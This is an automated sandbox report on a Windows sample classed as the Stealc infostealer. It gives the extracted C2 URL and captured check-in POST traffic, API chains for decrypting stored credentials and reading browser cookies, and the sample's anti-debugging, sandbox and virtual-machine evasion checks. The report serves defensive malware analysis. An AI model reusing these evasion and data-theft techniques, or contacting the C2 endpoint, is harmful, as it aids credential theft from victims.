Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1529037
MD5:	9d007dc0dc48fd402f13f65547d002f3
SHA1:	487a3e42ebc95babcc96a71388fd35577290302d
SHA256:	6bc02402cb6ca77ef60e9e04ed1996840e9eb6088a0b9f748653d63f915edb0a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1824 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9D007DC0DC48FD402F13F65547D002F3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2111080022.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1824	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1824	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.160000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T15:42:15.749488+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.160000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0016C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00167240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00167240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00169AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00169AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00169B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00169B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00178EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00178EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00174910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00174910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0016DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0016E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0016ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00174570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00174570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0016DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0016BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0016F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0016F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00173EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00173EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001616D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 37 33 43 39 31 30 35 45 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="hwid"FB73C9105E5F552815863------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="build"doma------EHCBAAAFHJDHJJKEBGHI--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00164880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00164880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 42 37 33 43 39 31 30 35 45 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="hwid"FB73C9105E5F552815863------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="build"doma------EHCBAAAFHJDHJJKEBGHI--

Source: file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%hh
Source: file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=h
Source: file.exe, 00000000.00000002.2156506568.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpft
Source: file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37RD

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005238B2	0_2_005238B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00617961	0_2_00617961
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053297F	0_2_0053297F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052532C	0_2_0052532C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047F458	0_2_0047F458
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052F434	0_2_0052F434
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00501486	0_2_00501486
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004415CB	0_2_004415CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004005E0	0_2_004005E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00521D96	0_2_00521D96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053459E	0_2_0053459E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00530E13	0_2_00530E13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00526E28	0_2_00526E28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050973D	0_2_0050973D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052CFE6	0_2_0052CFE6

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001645C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: iovqbmaf ZLIB complexity 0.9948017834018891

Source: file.exe, 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111080022.0000000004B20000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00179600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00179600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00173720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00173720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\56T9UQQV.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2156506568.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;!q

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1836544 > 1048576

Source: file.exe

Static PE information: Raw size of iovqbmaf is bigger than: 0x100000 < 0x19a400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.160000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iovqbmaf:EW;tgzswadw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iovqbmaf:EW;tgzswadw:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00179860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00179860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf542 should be: 0x1cf5ed

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: iovqbmaf
Source: file.exe	Static PE information: section name: tgzswadw
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F704C push eax; mov dword ptr [esp], ebx	0_2_005F70BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0017B035 push ecx; ret	0_2_0017B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058406C push edx; mov dword ptr [esp], 3B54967Bh	0_2_005841EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D7869 push esi; mov dword ptr [esp], 47AC6C17h	0_2_005D78DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D7869 push edi; mov dword ptr [esp], edx	0_2_005D78E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6044 push ebp; mov dword ptr [esp], eax	0_2_007F605E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6044 push 07EE2D2Eh; mov dword ptr [esp], ebx	0_2_007F6077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6044 push ecx; mov dword ptr [esp], 5BCCEF3Eh	0_2_007F60ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6044 push ecx; mov dword ptr [esp], eax	0_2_007F614D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058F01B push eax; mov dword ptr [esp], 59EF7000h	0_2_0058F05F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058F01B push 6068EFD7h; mov dword ptr [esp], eax	0_2_0058F368
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00603023 push 40938B43h; mov dword ptr [esp], esi	0_2_0060303E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055B012 push 77452862h; mov dword ptr [esp], ecx	0_2_0055B057
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055B012 push eax; mov dword ptr [esp], edi	0_2_0055B104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056781C push eax; mov dword ptr [esp], edx	0_2_00567882
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051900A push 7A12DBE4h; mov dword ptr [esp], ebp	0_2_0051903E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0051900A push ecx; mov dword ptr [esp], ebx	0_2_00519054
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053F03B push ebp; mov dword ptr [esp], 0515A3E0h	0_2_0053F045
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6016 push ebp; mov dword ptr [esp], eax	0_2_007F605E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6016 push 07EE2D2Eh; mov dword ptr [esp], ebx	0_2_007F6077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6016 push ecx; mov dword ptr [esp], 5BCCEF3Eh	0_2_007F60ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6016 push ecx; mov dword ptr [esp], eax	0_2_007F614D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005680D7 push ebx; mov dword ptr [esp], 7CFF106Eh	0_2_005680DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006010D1 push edx; mov dword ptr [esp], eax	0_2_006010F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005950E5 push 5B80A24Ah; mov dword ptr [esp], ebp	0_2_00595118
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005950E5 push 2A7D1703h; mov dword ptr [esp], ecx	0_2_0059516E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005898E6 push ebp; mov dword ptr [esp], ecx	0_2_0058995F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CE091 push 7AC0143Dh; mov dword ptr [esp], edx	0_2_005CE0B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CE091 push 0201C094h; mov dword ptr [esp], edi	0_2_005CE0DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005238B2 push edx; mov dword ptr [esp], edi	0_2_00523901
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005238B2 push 2E358536h; mov dword ptr [esp], eax	0_2_0052391E

Source: file.exe

Static PE information: section name: iovqbmaf entropy: 7.9538207256362705

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00179860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13601

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53918C second address: 53919C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F3F244F40E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53919C second address: 5391A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5391A2 second address: 5391A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5391A6 second address: 5391AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5391AB second address: 5391B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526994 second address: 52699A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5382B9 second address: 5382BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538840 second address: 538846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5389EE second address: 5389F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5389F9 second address: 5389FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5389FF second address: 538A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3F244F40E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
